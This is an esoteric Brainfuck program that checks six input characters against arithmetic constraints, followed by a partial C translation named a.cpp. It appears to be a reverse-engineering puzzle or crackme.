>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>]<<<<<[->>>>>+<<<<<]>>>>>>>>>>>>>[->>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>]<<<<<<<<<<<<<[->>>>>>>>>>>>>+<<<<<<<<<<<<<]>>>>>>>>[->>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>]<<<<<<<<[->>>>>>>>+<<<<<<<<]>>>[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>]<<<[->>>+<<<]>>>>>>>>>>>>>>>>>>>>>>[->>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>[->>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>]<<<<<<<[->>>>>>>+<<<<<<<]>>[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>]<<[->>+<<]>>>>>>>>>>>>>>>>>>>>>[->>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>[->>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<]>>>>>>>>[->>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>]<<<<<<<<[->>>>>>>>+<<<<<<<<]>>>>>>>>>>>>>>>[->>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>[->>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>]<<<<<<[->>>>>>+<<<<<<]>>>>>>>[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>]<<<<<<<[->>>>>>>+<<<<<<<]>>>>>>>>>>>>>>>>>>>>[->>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<]>>>[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>]<<<[->>>+<<<]>>>>>>>>>>>>>>>>>[->>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[-]+++++++++++++++++++++++++++++++++++++++++++++++++++++>[-]++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>[-]+++++>[-]++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>[-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>[-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++<<<<<<<<<<<[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[-]++++++++++++++++++++++++++++++++++++++++++++++++<<<<<<[>>>>>>+<<<<<<[-]]>[>>>>>+<<<<<[-]]>[>>>>+<<<<[-]]>[>>>+<<<[-]]>[>>+<<[-]]>[>+<[-]]>>,>,>,>,>,>,>[-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>[-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>[-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>[-]++++++++++++++++++++++++++++++++++++++++++++++++>[-]++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>[-]+++++++++++++++++++++++++++++++++++++++++++++++++++<<<<<<<<<<<[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[<<<<<<<+>>>>>>>[-]]>[<<<<<<<<+>>>>>>>>[-]]>[<<<<<<<<<+>>>>>>>>>[-]]>[<<<<<<<<<<+>>>>>>>>>>[-]]>[<<<<<<<<<<<+>>>>>>>>>>>[-]]>[<<<<<<<<<<<<+>>>>>>>>>>>>[-]]<<<<<<<<<<<<.

a.cpp

#include<stdio.h>
int main(){
	char _[0x1000];
	char*ptr = _;
	int i;
	for(i=0;i<0x1000;i++){
		_[i]=0;
	}
	ptr = &_[1];
	*ptr = getchar();
	ptr = &_[2];
	*ptr = getchar();
	ptr = &_[3];
	*ptr = getchar();
	ptr = &_[4];
	*ptr = getchar();
	ptr = &_[5];
	*ptr = getchar();
	ptr = &_[6];
	*ptr = getchar();
	ptr = &_[1];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[7];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[1];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[1];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[1];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[7];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[1];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[1];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[2];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[8];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[2];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[2];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[2];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[8];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[2];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[2];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[3];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[9];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[3];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[3];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[3];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[9];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[3];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[3];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[4];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[10];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[4];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[4];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[4];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[10];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[4];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[4];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[5];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[11];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[5];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[5];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[5];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[11];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[5];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[5];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[6];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[12];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[6];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[6];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[6];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[12];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[6];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[6];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[7];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[13];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[7];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[7];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[1];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[13];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[1];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[1];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[8];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[14];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[8];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[8];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[2];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[14];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[2];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[2];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[9];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[15];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[9];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[9];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[3];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[15];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[3];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[3];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[10];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[16];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[10];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[10];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[4];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[16];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[4];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[4];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[11];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[17];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[11];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[11];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[5];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[17];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[5];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[5];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[12];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[18];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[12];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[12];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[6];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[18];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[6];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[6];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[13];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[19];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[13];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[13];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[1];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[19];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[1];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[1];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[14];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[20];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[14];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[14];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[2];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[20];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[2];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[2];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[15];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[21];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[15];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[15];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[3];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[21];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[3];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[3];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[16];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[22];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[16];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[16];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[4];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[22];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[4];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[4];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[17];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[23];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[17];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[17];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[5];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[23];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[5];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[5];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[18];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[24];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[18];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[18];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[6];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[24];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[6];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[6];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[19];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[25];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[19];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[19];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[1];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[25];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[1];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[1];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[20];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[26];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[20];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[20];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[2];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[26];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[2];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[2];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[21];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[27];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[21];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[21];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[3];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[27];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[3];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[3];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[22];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[28];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[22];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[22];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[4];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[28];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[4];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[4];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[23];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[29];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[23];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[23];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[5];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[29];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[5];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[5];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[24];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[30];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[24];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[24];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[6];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[30];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[6];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[6];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[2];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[31];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[2];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[2];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[9];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[31];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[9];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[9];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[16];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[31];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[16];
	}
	ptr = &_[0];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[16];
		*ptr += 1;
		ptr = &_[0];
	}
	ptr = &_[23];
	while(*ptr){
		*ptr -= 1;
		ptr = &_[31];
		*ptr += 1;
		ptr = &_[0];
		*ptr += 1;
		ptr = &_[23];
	}
